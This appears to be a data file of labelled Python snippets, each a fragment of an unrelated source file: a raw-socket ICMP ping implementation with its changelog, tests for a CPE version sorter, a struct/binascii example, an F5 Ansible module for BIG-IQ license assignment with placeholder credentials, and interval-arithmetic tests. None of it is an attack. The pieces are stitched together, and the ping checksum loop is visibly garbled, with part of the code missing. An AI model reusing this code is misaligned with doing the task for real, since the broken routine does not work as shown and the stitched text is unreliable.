George Notaras -- http://www.g-loaded.eu Reported by: * Chris Hallman -- http://cdhallman.blogspot.com Changes in this release: - Re-use time.time() instead of time.clock(). The 2007 implementation worked only under Microsoft Windows. Failed on GNU/Linux. time.clock() behaves differently under the two OSes[1]. [1] http://docs.python.org/library/time.html#time.clock May 30, 2007 ------------ little rewrite by Jens Diemer: - change socket asterisk import to a normal import - replace time.time() with time.clock() - delete ""return None"" (or change to ""return"" only) - in checksum() rename ""str"" to ""source_string"" November 22, 1997 ----------------- Initial hack. Doesn't do much, but rather than try to guess what features I (or others) will want in the future, I've only put in what I need now. December 16, 1997 ----------------- For some reason, the checksum bytes are in the wrong order when this is run under Solaris 2.X for SPARC but it works right under Linux x86. Since I don't know just what's wrong, I'll swap the bytes always and then do an htons(). December 4, 2000 ---------------- Changed the struct.pack() calls to pack the checksum and ID as unsigned. My thanks to Jerome Poincheval for the fix. Last commit info: ~~~~~~~~~~~~~~~~~ $LastChangedDate: $ $Rev: $ $Author: $ """""" import os, socket, struct, select, time # From /usr/include/linux/icmp.h; your milage may vary. ICMP_ECHO_REQUEST = 8 # Seems to be the same on Solaris. def checksum(source_string): """""" I'm not too confident that this is right but testing seems to suggest that it gives the same answers as in_cksum in ping.c """""" sum = 0 countTo = (len(source_string)/2)*2 count = 0 while count> 16) + (sum & 0xffff) sum = sum + (sum >> 16) answer = ~sum answer = answer & 0xffff # Swap bytes. Bugger me if I know why. answer = answer >> 8 | (answer << 8 & 0xff00) return answer def receive_one_ping(my_socket, ID, timeout): """""" receive the ping from the socket. """""" timeLeft = timeout while True: startedSelect = time.time() whatReady = select.select([my_socket], [], [], timeLeft) howLongInSelect = (time.time() - startedSelect) if whatReady[0] == []: # Timeout return timeReceived = time.time() recPacket, addr = my_socket.recvfrom(1024) icmpHeader = recPacket[20:28] type, code, checksum, packetID, sequence = struct.unpack( ""bbHHh"", icmpHeader ) if packetID == ID: bytesInDouble = struct.calcsize(""d"") timeSent = struct.unpack(""d"", recPacket[28:28 + bytesInDouble])[0] return timeReceived - timeSent timeLeft = timeLeft - howLongInSelect if timeLeft <= 0: return def send_one_ping(my_socket, dest_addr, ID): """""" Send one ping to the given >dest_addr<. """""" dest_addr = socket.gethostbyname(dest_addr) # Header is type (8), code (8), checksum (16), id (16), sequence (16) my_checksum = 0 # Make a dummy heder with a 0 checksum. header = struct.pack(""bbHHh"", ICMP_ECHO_REQUEST, 0, my_checksum, ID, 1) bytesInDouble = struct.calcsize(""d"") data = (192 - bytesInDouble) * ""Q"" data = struct.pack(""d"", time.time()) + data # Calculate the checksum on the data and the dummy header. my_checksum = checksum(header + data) # Now that we have the right checksum, we put that in. It's just easier # to make up a new header than to stuff it into the dummy. header = struct.pack( ""bbHHh"", ICMP_ECHO_REQUEST, 0, socket.htons(my_checksum), ID, 1 ) packet = header + data my_socket.sendto(packet, (dest_addr, 1)) # Don't know about the 1 def do_one(dest_addr, timeout): """""" Returns either the delay (in seconds) or none on timeout. """""" icmp = socket.getprotobyname(""icmp"") try: my_socket = socket.socket(socket.AF_INET, socket.SOCK_RAW, icmp) except socket.error, (errno, msg): if errno == 1: # Operation not permitted msg = msg + ( "" - Note that ICMP messages can only be sent from processes"" "" running as root."" ) raise socket.error(msg) raise # raise the original error my_ID = os.getpid() & 0xFFFF send_one_ping(my_socket, dest_addr, my_ID) delay = receive_one_ping(my_socket, my_ID, timeout) my_socket.close() return delay def verbose_ping(dest_addr, timeout = 2, count = 4): """""" Send >count< ping to >dest_addr< with the given >timeout< and display the result. """""" for i in xrange(count): print ""ping %s..."" % dest_addr, try: delay = do_one(dest_addr, timeout) except socket.gaierror, e: print ""failed. (socket error: '%s')"" % e[1] break if delay == None: print ""failed. (timeout within %ssec.)"" % timeout else: delay = delay * 1000 print ""get ping in %0.4fms"" % delay print if __name__ == '__main__': #verbose_ping(""192.168.0.4"",timeout=0.1,count=1) result=do_one(""192.168.0.4"", 0.1) print result ",1 " 'uri_binding': 'cpe:/a:string_value_with\:double_points:internet_explorer:4.0:beta:~~~android_marshmallow~~'}, {'wfn': {'version': '1.0.1.2', 'target_sw': 'android_marshmallow'}, 'uri_binding': 'cpe:/a:string_value_with\:double_points:internet_explorer:1.0.1.2:beta'}, {'wfn': {'version': '4.1.2', 'target_sw': 'ANY'}, 'uri_binding': 'cpe:/a:string_value_with\:double_points:internet_explorer:4.1.2:beta'}, {'wfn': {'version': '4.6.3', 'target_sw': 'windows'}, 'uri_binding': 'cpe:/a:string_value_with\:double_points:internet_explorer:4.6.3:beta:~~~windows~~'}, {'wfn': {'version': '4.7.1', 'target_sw': 'android'}, 'uri_binding': 'cpe:/a:string_value_with\:double_points:internet_explorer:4.7.1:beta:~~~android~~'}, {'wfn': {'version': '4.7.2', 'target_sw': 'ANY'}, 'uri_binding':'cpe:/a:string_value_with\:double_points:internet_explorer:4.7.2:beta'}, {'wfn': {'version': '4.3.2', 'target_sw': 'linux'}, 'uri_binding': 'cpe:/a:string_value_with\:double_points:internet_explorer:4.3.2:beta:~~~linux~~'}, {'wfn': {'version': '2.3.1', 'target_sw': 'linux'}, 'uri_binding': 'cpe:/a:string_value_with\:double_points:internet_explorer:2.3.1:beta'}, {'wfn': {'version': '4.7.3', 'target_sw': 'mac_os_x'}, 'uri_binding': 'cpe:/a:string_value_with\:double_points:internet_explorer:4.7.3:beta:~~~mac_os_x~~'} ] unsorted_cpes_year = [{'wfn': {'version': '2000', 'target_sw': 'android_marshmallow'}, 'uri_binding': 'cpe:/a:string_value_with\:double_points:internet_explorer:2000:beta:~~~android_marshmallow~~'}, {'wfn': {'version': '2007', 'target_sw': 'android_marshmallow'}, 'uri_binding': 'cpe:/a:string_value_with\:double_points:internet_explorer:2007:beta'}, {'wfn': {'version': '4.1.2', 'target_sw': 'ANY'}, 'uri_binding': 'cpe:/a:string_value_with\:double_points:internet_explorer:4.1.2:beta'}, {'wfn': {'version': '2010', 'target_sw': 'windows'}, 'uri_binding': 'cpe:/a:string_value_with\:double_points:internet_explorer:2010:beta:~~~windows~~'}, {'wfn': {'version': '4.7.1', 'target_sw': 'android'}, 'uri_binding': 'cpe:/a:string_value_with\:double_points:internet_explorer:4.7.1:beta:~~~android~~'}, {'wfn': {'version': '2001', 'target_sw': 'ANY'}, 'uri_binding':'cpe:/a:string_value_with\:double_points:internet_explorer:2001:beta'}, {'wfn': {'version': '4.3.2', 'target_sw': 'linux'}, 'uri_binding': 'cpe:/a:string_value_with\:double_points:internet_explorer:4.3.2:beta:~~~linux~~'}, {'wfn': {'version': '2010', 'target_sw': 'linux'}, 'uri_binding': 'cpe:/a:string_value_with\:double_points:internet_explorer:2010:beta'}, {'wfn': {'version': '4.7.3', 'target_sw': 'mac_os_x'}, 'uri_binding': 'cpe:/a:string_value_with\:double_points:internet_explorer:4.7.3:beta:~~~mac_os_x~~'}, {'wfn': {'version': '2010', 'target_sw': 'mac_os_x'}, 'uri_binding': 'cpe:/a:string_value_with\:double_points:internet_explorer:2010:beta:~~~mac_os_x~~'}] version = '4.7.2' version_without_points = '4_7-2' version_year = '2010' os_windows = 'windows_7' os_linux = 'linux_ubuntu' os_android = 'android' os_mac = 'mac_os_x_10.11' class TestCPESorter(unittest.TestCase): def test_sort_cpes_by_software_version(self): sorted_cpes = sort_cpes_by_version(unsorted_cpes, version) self.assertEqual(len(unsorted_cpes), len(sorted_cpes)) self.assertEqual(unsorted_cpes[5], sorted_cpes[0]) # 4.7.2 self.assertEqual(unsorted_cpes[4], sorted_cpes[1]) # 4.7.1 self.assertEqual(unsorted_cpes[8], sorted_cpes[2]) # 4.7.3 self.assertEqual(unsorted_cpes[0], sorted_cpes[3]) # 4.0 self.assertEqual(unsorted_cpes[2], sorted_cpes[4]) # 4.1.2 self.assertEqual(unsorted_cpes[3], sorted_cpes[5]) # 4.6.3 self.assertEqual(unsorted_cpes[6], sorted_cpes[6]) # 4.3.2 def test_cpes_and_sorted_cpes_are_equal_when_software_version_not_splitted_by_points(self): sorted_cpes = sort_cpes_by_version(unsorted_cpes, version_without_points) self.assertListEqual(unsorted_cpes, sorted_cpes) def test_sort_cpes_by_version_with_year(self): sorted_cpes = sort_cpes_by_version(unsorted_cpes_year, version_year) self.assertEqual(len(unsorted_cpes_year), len(sorted_cpes)) self.assertEqual(unsorted_cpes_year[3], sorted_cpes[0]) # 2010 self.assertEqual(unsorted_cpes_year[7], sorted_cpes[1]) # 2010 self.assertEqual(unsorted_cpes_year[9], sorted_cpes[2]) # 2010 self.assertEqual(unsorted_cpes_year[0], sorted_cpes[3]) # 2000 self.assertEqual(unsorted_cpes_year[1], sorted_cpes[4]) # 2007 self.assertEqual(unsorted_cpes_year[5], sorted_cpes[5]) # 2001 def test_sort_cpes_by_operating_system_windows(self): sorted_cpes = sort_cpes_by_operating_system(unsorted_cpes, os_windows) self.assertEqual(len(unsorted_cpes), len(sorted_cpes)) self.assertEqual(unsorted_cpes[3], sorted_cpes[0]) def test_sort_cpes_by_operating_system_linux(self): sorted_cpes = sort_cpes_by_operating_system(unsorted_cpes, os_linux) self.assertEqual(len(unsorted_cpes), len(sorted_cpes)) self.assertEqual(unsorted_cpes[6], sorted_cpes[0]) def test_sort_cpes_by_operating_system_android(self): sorted_cpes = sort_cpes_by_operating_system(unsorted_cpes, os_android) self.assertEqual(len(unsorted_cpes), len(sorted_cpes)) self.assertEqual(unsorted_cpes[4], sorted_cpes[0]) self.assertEqual(unsorted_cpes[0], sorted_cpes[1]) if __name__ == '__main__': unittest.main() ",1 "ecific offset you want to do things from, use pack_into and unack_into from the docs ''' #Integer to string i1= 1234 print ""Int to string as 8 byte little endian"", repr(struct.pack(""Q"",i1)) #String to integer. Make sure size of destination matches the length of the string s1= '1234' print ""String to 4 byte integer little endian"", struct.unpack(""i"", s1) ''' Whenever you want to convert to and from binary, think of binascii ''' import binascii h1= binascii.b2a_hex(s1) print ""String to hex"", h1 uh1= binascii.a2b_hex(h1) print ""Hex to string, even a binary string"", uh1 ",1 "org/licenses/gpl-3.0.txt) from __future__ import absolute_import, division, print_function __metaclass__ = type DOCUMENTATION = r''' --- module: bigiq_regkey_license_assignment short_description: Manage regkey license assignment on BIG-IPs from a BIG-IQ description: - Manages the assignment of regkey licenses on a BIG-IQ. Assignment means the license is assigned to a BIG-IP, or it needs to be assigned to a BIG-IP. Additionally, this module supports revoking the assignments from BIG-IP devices. version_added: ""1.0.0"" options: pool: description: - The registration key pool to use. type: str required: True key: description: - The registration key you want to assign from the pool. type: str required: True device: description: - When C(managed) is C(no), specifies the address, or hostname, where the BIG-IQ can reach the remote device to register. - When C(managed) is C(yes), specifies the managed device, or device UUID, that you want to register. - If C(managed) is C(yes), it is very important you do not have more than one device with the same name. BIG-IQ internally recognizes devices by their ID, and therefore, this module cannot guarantee the correct device will be registered. The device returned is the device that is used. type: str required: True managed: description: - Whether the specified device is a managed or un-managed device. - When C(state) is C(present), this parameter is required. type: bool device_port: description: - Specifies the port of the remote device to connect to. - If this parameter is not specified, the default is C(443). type: int default: 443 device_username: description: - The username used to connect to the remote device. - This username should be one that has sufficient privileges on the remote device to do licensing. Usually this is the C(Administrator) role. - When C(managed) is C(no), this parameter is required. type: str device_password: description: - The password of the C(device_username). - When C(managed) is C(no), this parameter is required. type: str state: description: - When C(present), ensures the device is assigned the specified license. - When C(absent), ensures the license is revoked from the remote device and freed on the BIG-IQ. type: str choices: - present - absent default: present extends_documentation_fragment: f5networks.f5_modules.f5 author: - Tim Rupp (@caphrim007) ''' EXAMPLES = r''' - name: Register an unmanaged device bigiq_regkey_license_assignment: pool: my-regkey-pool key: XXXX-XXXX-XXXX-XXXX-XXXX device: 1.1.1.1 managed: no device_username: admin device_password: secret state: present provider: user: admin password: secret server: lb.mydomain.com delegate_to: localhost - name: Register a managed device, by name bigiq_regkey_license_assignment: pool: my-regkey-pool key: XXXX-XXXX-XXXX-XXXX-XXXX device: bigi1.foo.com managed: yes state: present provider: user: admin password: secret server: lb.mydomain.com delegate_to: localhost - name: Register a managed device, by UUID bigiq_regkey_license_assignment: pool: my-regkey-pool key: XXXX-XXXX-XXXX-XXXX-XXXX device: 7141a063-7cf8-423f-9829-9d40599fa3e0 managed: yes state: present provider: user: admin password: secret server: lb.mydomain.com delegate_to: localhost ''' RETURN = r''' # only common fields returned ''' import re import time from datetime import datetime from ansible.module_utils.basic import AnsibleModule from ..module_utils.bigip import F5RestClient from ..module_utils.common import ( F5ModuleError, AnsibleF5Parameters, f5_argument_spec ) from ..module_utils.icontrol import bigiq_version from ..module_utils.ipaddress import is_valid_ip from ..module_utils.teem import send_teem class Parameters(AnsibleF5Parameters): api_map = { 'deviceReference': 'device_reference', 'deviceAddress': 'device_address', 'httpsPort': 'device_port' } api_attributes = [ 'deviceReference', 'deviceAddress', 'httpsPort', 'managed' ] returnables = [ 'device_address', 'device_reference', 'device_username', 'device_password', 'device_port', 'managed' ] updatables = [ 'device_reference', 'device_address', 'device_username', 'device_password', 'device_port', 'managed' ] def to_return(self): result = {} try: for returnable in self.returnables: result[returnable] = getattr(self, returnable) result = self._filter_params(result) except Exception: raise return result class ApiParameters(Parameters): pass class ModuleParameters(Parameters): @property def device_password(self): if self._values['device_password'] is None: return None return self._values['device_password'] @property def device_username(self): if self._values['device_username'] is None: return None return self._values['device_username'] @property def device_address(self): if self.device_is_address: return self._values['device'] @property def device_port(self): if self._values['device_port'] is None: return None return int(self._values['device_port']) @property def device_is_address(self): if is_valid_ip(self.device): return True return False @property def device_is_id(self): pattern = r'[A-Za-z0-9]{8}-[A-Za-z0-9]{4}-[A-Za-z0-9]{4}-[A-Za-z0-9]{4}-[A-Za-z0-9]{12}' if re.match(pattern, self.device): return True return False @property def device_is_name(self): if not self.device_is_address and not self.device_is_id: return True return False @property def device_reference(self): if not self.managed: return None if self.device_is_address: # This range lookup is how you do lookups for single IP addresses. Weird. filter = ""address+eq+'{0}...{0}'"".format(self.device) elif self.device_is_name: filter = ""hostname+eq+'{0}'"".format(self.device) elif self.device_is_id: filter = ""uuid+eq+'{0}'"".format(self.device) else: raise F5ModuleError( ""Unknown device format '{0}'"".format(self.device) ) uri = ""https://{0}:{1}/mgmt/shared/resolver/device-groups/cm-bigip-allBigIpDevices/devices/"" \ ""?$filter={2}&$top=1"".format(self.client.provider['server'], self.client.provider['server_port'], filter) resp = self.client.api.get(uri) try: response = resp.json() except ValueError as ex: raise F5ModuleError(str(ex)) if resp.status == 200 and response['totalItems'] == 0: raise F5ModuleError( ""No device with the specified address was found."" ) elif 'code' in response and response['code'] == 400: if 'message' in response: raise F5ModuleError(response['message']) else: raise F5ModuleError(resp._content) id = response['items'][0]['uuid'] result = dict( link='https://localhost/mgmt/shared/resolver/device-groups/cm-bigip-allBigIpDevices/devices/{0}'.format(id) ) return result @property def pool_id(self): filter = ""(name%20eq%20'{0}')"".format(self.pool) uri = 'https://{0}:{1}/mgmt/cm/device/licensing/pool/regkey/licenses?$filter={2}&$top=1'.format( self.client.provider['server'], self.client.provider['server_port'], filter ) resp = self.client.api.get(uri) try: response = resp.json() except ValueError as ex: raise F5ModuleError(str(ex)) if resp.status == 200 and response['totalItems'] == 0: raise F5ModuleError( ""No pool with the specified name was found."" ) elif 'code' in response and response['code'] == 400: if 'message' in response: raise F5ModuleError(response['message']) else: raise F5ModuleError(resp._content) return response['items'][0]['id'] @property def member_id(self): if self.device_is_address: # This range lookup is how you do lookups for single IP addresses. Weird. filter = ""deviceAddress+eq+'{0}...{0}'"".format(self.device) elif self.device_is_name: filter = ""deviceName+eq+'{0}'"".format(self.device) elif self.device_is_id: filter = ""deviceMachineId+eq+'{0}'"".format(self.device) else: raise F5ModuleError( ""Unknown device format '{0}'"".format(self.device) ) uri = 'https://{0}:{1}/mgmt/cm/device/licensing/pool/regkey/licenses/{2}/offerings/{3}/members/' \ '?$filter={4}'.format(self.client.provider['server'], self.client.provider['server_port'], self.pool_id, self.key, filter) resp = self.client.api.get(uri) try: response = resp.json() except ValueError as ex: raise F5ModuleError(str(ex)) if resp.status == 200 and response['totalItems'] == 0: return None elif 'code' in response and response['code'] == 400: if 'message' in response: raise F5ModuleError(response['message']) else: raise F5ModuleError(resp._content) result = response['items'][0]['id'] return result class Changes(Parameters): pass class UsableChanges(Changes): @property def device_port(self): if self._values['managed']: return None return self._values['device_port'] @property def device_username(self): if self._values['managed']: return None return self._values['device_username'] @property def device_password(self): if self._values['managed']: return None return self._values['device_password'] @property def device_reference(self): if not self._values['managed']: return None return self._values['device_reference'] @property def device_address(self): if self._values['managed']: return None return self._values['device_address'] @property def managed(self): return None class ReportableChanges(Changes): pass class Difference(object): def __init__(self, want, have=None): self.want = want self.have = have def compare(self, param): try: result = getattr(self, param) return result except AttributeError: return self.__default(param) def __default(self, param): attr1 = getattr(self.want, param) try: attr2 = getattr(self.have, param) if attr1 != attr2: return attr1 except AttributeError: return attr1 class ModuleManager(object): def __init__(self, *args, **kwargs): self.module = kwargs.get('module', None) self.client = F5RestClient(**self.module.params) self.want = ModuleParameters(params=self.module.params, client=self.client) self.have = ApiParameters() self.changes = UsableChanges() def _set_changed_options(self): changed = {} for key in Parameters.returnables: if getattr(self.want, key) is not None: changed[key] = getattr(self.want, key) if changed: self.changes = UsableChanges(params=changed) def _update_changed_options(self): diff = Difference(self.want, self.have) updatables = Parameters.updatables changed = dict() for k in updatables: change = diff.compare(k) if change is None: continue else: if isinstance(change, dict): changed.update(change) else: changed[k] = change if changed: self.changes = UsableChanges(params=changed) return True return False def should_update(self): result = self._update_changed_options() if result: return True return False def exec_module(self): start = datetime.now().isoformat() version = bigiq_version(self.client) changed = False result = dict() state = self.want.state if state == ""present"": changed = self.present() elif state == ""absent"": changed = self.absent() reportable = ReportableChanges(params=self.changes.to_return()) changes = reportable.to_return() result.update(**changes) result.update(dict(changed=changed)) self._announce_deprecations(result) send_teem(start, self.module, version) return result def _announce_deprecations(self, result): warnings = result.pop('__warnings', []) for warning in warnings: self.module.deprecate( msg=warning['msg'], version=warning['version'] ) def present(self): if self.exists(): return False return self.create() def exists(self): if self.want.member_id is None: return False uri = 'https://{0}:{1}/mgmt/cm/device/licensing/pool/regkey/licenses/{2}/offerings/{3}/members/{4}'.format( self.client.provider['server'], self.client.provider['server_port'], self.want.pool_id, self.want.key, self.want.member_id ) resp = self.client.api.get(uri) if resp.status == 200: return True return False def remove(self): self._set_changed_options() if self.module.check_mode: return True self.remove_from_device() if self.exists(): raise F5ModuleError(""Failed to delete the resource."") # Artificial sleeping to wait for remote licensing (on BIG-IP) to complete # # This should be something that BIG-IQ can do natively in 6.1-ish time. time.sleep(60) return True def create(self): self._set_changed_options() if not self.want.managed: if self.want.device_username is None: raise F5ModuleError( ""You must specify a 'device_username' when working with unmanaged devices."" ) if self.want.device_password is None: raise F5ModuleError( ""You must specify a 'device_password' when working with unmanaged devices."" ) if self.module.check_mode: return True self.create_on_device() if not self.exists(): raise F5ModuleError( ""Failed to license the remote device."" ) self.wait_for_device_to_be_licensed() # Artificial sleeping to wait for remote licensing (on BIG-IP) to complete # # This should be something that BIG-IQ can do natively in 6.1-ish time. time.sleep(60) return True def create_on_device(self): params = self.changes.api_params() uri = 'https://{0}:{1}/mgmt/cm/device/licensing/pool/regkey/licenses/{2}/offerings/{3}/members/'.format( self.client.provider['server'], self.client.provider['server_port'], self.want.pool_id, self.want.key ) if not self.want.managed: params['username'] = self.want.device_username params['password'] = self.want.device_password resp = self.client.api.post(uri, json=params) try: response = resp.json() except ValueError as ex: raise F5ModuleError(str(ex)) if 'code' in response and response['code'] == 400: if 'message' in response: raise F5ModuleError(response['message']) else: raise F5ModuleError(resp.content) def wait_for_device_to_be_licensed(self): count = 0 uri = 'https://{0}:{1}/mgmt/cm/device/licensing/pool/regkey/licenses/{2}/offerings/{3}/members/{4}'.format( self.client.provider['server'], self.client.provider['server_port'], self.want.pool_id, self.want.key, self.want.member_id ) while count < 3: resp = self.client.api.get(uri) try: response = resp.json() except ValueError as ex: raise F5ModuleError(str(ex)) if 'code' in response and response['code'] == 400: if 'message' in response: raise F5ModuleError(response['message']) else: raise F5ModuleError(resp.content) if response['status'] == 'LICENSED': count += 1 else: count = 0 def absent(self): if self.exists(): return self.remove() return False def remove_from_device(self): uri = 'https://{0}:{1}/mgmt/cm/device/licensing/pool/regkey/licenses/{2}/offerings/{3}/members/{4}'.format( self.client.provider['server'], self.client.provider['server_port'], self.want.pool_id, self.want.key, self.want.member_id ) params = {} if not self.want.managed: params.update(self.changes.api_params()) params['id'] = self.want.member_id params['username'] = self.want.device_username params['password'] = self.want.device_password self.client.api.delete(uri, json=params) class ArgumentSpec(object): def __init__(self): self.supports_check_mode = True argument_spec = dict( pool=dict(required=True), key=dict(required=True, no_log=True), device=dict(required=True), managed=dict(type='bool'), device_port=dict(type='int', default=443), device_username=dict(no_log=True), device_password=dict(no_log=True), state=dict(default='present', choices=['absent', 'present']) ) self.argument_spec = {} self.argument_spec.update(f5_argument_spec) self.argument_spec.update(argument_spec) self.required_if = [ ['state', 'present', ['key', 'managed']], ['managed', False, ['device', 'device_username', 'device_password']], ['managed', True, ['device']] ] def main(): spec = ArgumentSpec() module = AnsibleModule( argument_spec=spec.argument_spec, supports_check_mode=spec.supports_check_mode, required_if=spec.required_if ) try: mm = ModuleManager(module=module) results = mm.exec_module() module.exit_json(**results) except F5ModuleError as ex: module.fail_json(msg=str(ex)) if __name__ == '__main__': main() ",1 "erval, fpu class FpuTestCase(unittest.TestCase): def test_third(self): ""Nearest rounding of 1/3 is downwards."" self.assertEqual(1/3.0, fpu.down(lambda: 1.0 / 3.0)) self.assertTrue(1/3.0 < fpu.up(lambda: 1.0 / 3.0)) self.assertEqual(-1/3.0, fpu.up(lambda: 1.0 / -3.0)) self.assertTrue(-1/3.0 > fpu.down(lambda: 1.0 / -3.0)) def test_fourth(self): "" 1/4 is exact."" self.assertEqual(1/4.0, fpu.down(lambda: 1.0 / 4.0)) self.assertEqual(1/4.0, fpu.up(lambda: 1.0 / 4.0)) self.assertEqual(-1/4.0, fpu.up(lambda: 1.0 / -4.0)) self.assertEqual(-1/4.0, fpu.down(lambda: 1.0 / -4.0)) def test_fifth(self): ""Nearest rounding of 1/5 is upwards."" self.assertEqual(1/5.0, fpu.up(lambda: 1.0 / 5.0)) self.assertTrue(1/5.0 > fpu.down(lambda: 1.0 / 5.0)) self.assertEqual(-1/5.0, fpu.down(lambda: 1.0 / -5.0)) self.assertTrue(-1/5.0 < fpu.up(lambda: 1.0 / -5.0)) def test_ieee754(self): ""fpu.float respect ieee754 semantics."" self.assertEqual(fpu.infinity + fpu.infinity, fpu.infinity) self.assertTrue(fpu.isnan(fpu.nan)) self.assertTrue(fpu.isnan(0.0 * fpu.infinity)) self.assertTrue(fpu.isnan(fpu.infinity - fpu.infinity)) def test_float_coercion(self): ""Only real-number scalars should be able to coerce as fpu.float"" self.assertRaises(Exception, lambda: float(1,2)) self.assertRaises(Exception, lambda: float((1,2))) self.assertRaises(Exception, lambda: float([1,2])) self.assertRaises(Exception, lambda: float('a')) self.assertRaises(Exception, lambda: float(1+1j)) def test_min(self): ""Verify corner cases with nan, -inf, +inf"" self.assertEqual(fpu.min((1.0, 2.0)), 1.0) self.assertEqual(fpu.min((1.0, fpu.infinity)), 1.0) self.assertEqual(fpu.min((1.0, -fpu.infinity)), -fpu.infinity) self.assertTrue(fpu.isnan(fpu.min((1.0, -fpu.nan)))) def test_max(self): ""Verify corner cases with nan, -inf, +inf"" self.assertEqual(fpu.max((1.0, 2.0)), 2.0) self.assertEqual(fpu.max((1.0, fpu.infinity)), fpu.infinity) self.assertEqual(fpu.max((1.0, -fpu.infinity)), 1.0) self.assertTrue(fpu.isnan(fpu.max((1.0, fpu.nan)))) def test_power(self): x = 1/3.0 # The cube of one third should depend on the rounding mode self.assertTrue(fpu.down(lambda: x*x*x) < fpu.up(lambda: x*x*x)) # But using the built-in power operator, it doesn't necessarily do it # print fpu.down(lambda: x**3) < fpu.up(lambda: x**3)) # So we define an integer power methods that does self.assertTrue(fpu.power_rd(x, 3) < fpu.power_ru(x, 3)) self.assertTrue(fpu.power_rd(-x, 3) < fpu.power_ru(-x, 3)) self.assertTrue(fpu.power_rd(x, 4) < fpu.power_ru(x, 4)) self.assertTrue(fpu.power_rd(-x, 4) < fpu.power_ru(-x, 4)) self.assertEqual( (fpu.down(lambda: x*x*x), fpu.up(lambda: x*x*x)), (fpu.power_rd(x, 3), fpu.power_ru(x, 3))) class ModuleTestCase(unittest.TestCase): def test_namespace(self): import interval self.assertEqual( dir(interval), ['__builtins__', '__doc__', '__file__', '__name__', '__path__', 'fpu', 'imath', 'inf', 'interval']) class IntervalTestCase(unittest.TestCase): def test_trivial_constructor(self): self.assertEqual(interval[1], ((1, 1),)) self.assertEqual(interval(1), ((1, 1),)) self.assertEqual(interval[1, 2], ((1, 2),)) self.assertEqual(interval(1, 2), ((1, 1), (2, 2))) self.assertEqual(interval([1, 2], [3, 4]), ((1, 2), (3, 4))) self.assertEqual(interval([1,2]), interval(interval([1, 2]))) def test_nan_constructor(self): self.assertEqual(interval[2, fpu.nan], ((-fpu.infinity, fpu.infinity),)) self.assertEqual(interval[2, fpu.nan], ((-fpu.infinity, fpu.infinity),)) self.assertEqual(interval(2, fpu.nan, 9), ((-fpu.infinity, fpu.infinity),)) def test_failing_constructor(self): self.assertRaises(interval.ComponentError, lambda: interval[1, [2, 3]]) self.assertRaises(interval.ComponentError, lambda: interval[1, 2, 3]) self.assertRaises(interval.ComponentError, lambda: interval(0, [1, 2, 3])) self.assertRaises(interval.ComponentError, lambda: interval(0, [1, [2, 3]])) self.assertRaises(interval.ComponentError, lambda: interval['a', 1]) def test_canonical_constructor(self): self.assertEqual(interval([1, 3], [4, 6], [2, 5], 9), ((1, 6), (9, 9))) self.assertEqual(interval[2 ** (52 + 1) - 1], interval[9007199254740991.0]) self.assertEqual(interval[2 ** (52 + 1) + 1], interval[4503599627370496 * 2.0, 4503599627370497 * 2.0]) self.assertEqual(interval[-2 ** (52 + 1) + 1], interval[-9007199254740991.0]) self.assertEqual(interval[-2 ** (52 + 1) - 1], interval[-4503599627370497 * 2.0, -4503599627370496 * 2.0]) self.assertEqual(interval[2 ** (52 + 2) + 1], interval[4503599627370496 * 4.0, 4503599627370497 * 4.0]) self.assertEqual(interval[2 ** (52 + 2) + 2], interval[4503599627370496 * 4.0, 4503599627370497 * 4.0]) self.assertEqual(interval[2 ** (52 + 2) + 3], interval[4503599627370496 * 4.0, 4503599627370497 * 4.0]) self.assertEqual(interval[-2 ** (52 + 2) - 1], interval[-4503599627370497 * 4.0, -4503599627370496 * 4.0]) self.assertEqual(interval[-2 ** (52 + 2) - 2], interval[-4503599627370497 * 4.0, -4503599627370496 * 4.0]) self.assertEqual(interval[-2 ** (52 + 2) - 3], interval[-4503599627370497 * 4.0, -4503599627370496 * 4.0]) def test_unary(self): self.assertEqual(interval[1, 2], +interval[1, 2]) self.assertEqual(interval[-2, -1], -interval[1, 2]) def test_sum(self): self.assertEqual(interval[-fpu.infinity, +fpu.infinity], interval[-fpu.infinity] + interval[fpu.infinity]) self.assertEqual(interval[4, 6], interval[1, 2] + interval[3, 4]) self.assertEqual(interval[3, fpu.infinity], interval[1, fpu.infinity] + interval[2]) self.assertEqual(interval[-fpu.infinity, +fpu.infinity], interval[-fpu.infinity, -1] + interval[2, +fpu.infinity]) self.assertEqual(interval[-fpu.infinity, +fpu.infinity], interval[-fpu.infinity] + interval[8, +fpu.infinity]) self.assertEqual(interval([1, 2], [10, fpu.infinity]) + interval([1,9],[-2,-1]), interval([-1, 1], [2, fpu.infinity])) self.assertEqual(interval[1, 9] + interval([1, 2], [10, fpu.infinity]), interval[2, fpu.infinity]) def test_sum_coercion(self): self.assertEqual(interval[1,2] + 2, interval[3, 4]) self.assertRaises(TypeError, lambda: interval[1,2] + 1j) self.assertEqual(1 + interval[4, 5], interval[5, 6]) self.assertRaises(TypeError, lambda: (1, 2) + interval[1,2]) self.assertEqual(fpu.infinity + interval[4, 5], interval[fpu.infinity]) def test_sub(self): self.assertEqual(interval[1, 2] - interval[3, 4], interval[-3.0, -1.0]) self.assertEqual(interval[1, 2] - 0.5, interval[0.5, 1.5]) self.assertEqual(1.5 - interval[1, 2], interval[-0.5, 0.5]) def test_mul(self): self.assertEqual(interval[-fpu.infinity, +fpu.infinity], fpu.infinity * interval[0]) self.assertEqual(interval[+fpu.infinity], interval[+fpu.infinity] * interval[3]) self.assertEqual(interval[-8, +10], interval[1, 2] * interval[-4, 5]) self.assertEqual(interval[3, 8], interval[1, 2] * interval[3, 4]) self.assertEqual(interval[-fpu.infinity, +fpu.infinity], interval[0,1 ] * interval[2, +fpu.infinity]) self.assertEqual(interval[2, fpu.infinity], interval[-fpu.infinity,-2] * interval[-fpu.infinity,-1]) self.assertEqual(interval([1, 2], [3, 4]) * interval[0.5, 2], interval[0.5, 8]) self.assertEqual(interval[1, 2] * 2, interval[2, 4]) def test_inverse(self): self.assertEqual(interval[0.5, 1], interval[1, 2].inverse()) self.assertEqual(interval[-1, -0.5],(-interval[1, 2]).inverse()) self.assertEqual(interval([-fpu.infinity, -1], [0.5, +fpu.infinity]), interval[-1,2].inverse()) self.assertEqual(interval(-fpu.infinity, [1, +fpu.infinity]), interval[0,1].inverse()) self.assertEqual(interval([-fpu.infinity, -2.0], [0.0, fpu.infinity]), interval([-0.5, 0.5], [0.2, fpu.infinity]).inverse()) def test_division(self): self.assertEqual(interval[-fpu.infinity, fpu.infinity], interval[0,1] / interval[0,1]) self.assertEqual(interval[0.5], interval[1] / 2) self.assertEqual(interval[0.5], 1 / interval[2]) def test_power(self): self.assertRaises(TypeError, lambda: interval[1, 2] ** (1.3)) self.assertEqual((-interval[1, 